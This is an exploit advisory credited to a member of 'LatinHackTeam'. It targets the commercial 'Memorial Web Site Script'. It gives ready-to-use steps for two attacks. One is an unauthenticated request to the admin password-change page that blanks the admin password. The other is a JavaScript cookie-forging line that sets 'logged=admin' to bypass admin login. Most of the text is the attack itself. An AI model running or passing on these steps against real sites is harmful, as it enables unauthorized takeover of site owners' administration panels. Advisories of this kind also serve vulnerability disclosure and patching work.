Memorial Web Site Script Password Reset / Insecure Cookie

`  
-----------------------------------------------------------------------  
Memorial Web Site Script --> Reset Password & Insecure Cookie Handling  
-----------------------------------------------------------------------   
Author : Chip D3 Bi0s  
Email : chipdebios[alt+64]gmail.com  
Where : From Remote  
Group : LatinHackTeam  
  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Application : Memorial Web Site Script  
Author : Easy Scripts  
Price : $49  
Vendor : http://www.easy-scripts.net  
  
description Bug:  
~~~~~~~~~~~~~~~  
  
To reset the password just use this:  
  
http://127.0.0.1/[path]/admin/change_pass.php  
  
so the password will be null, login with single user can  
admin:  
  
http://127.0.0.1/[path]/admin/  
  
--------------------------  
  
Insecure Cookie Handling  
  
exploit:  
javascript:document.cookie="logged=admin;path=/";  
  
http://127.0.0.1/[path]/admin/  
--------------------------  
  
  
  
+++++++++++++++++++++++++++++++++++++++  
#[!] Produced in South America  
+++++++++++++++++++++++++++++++++++++++  
`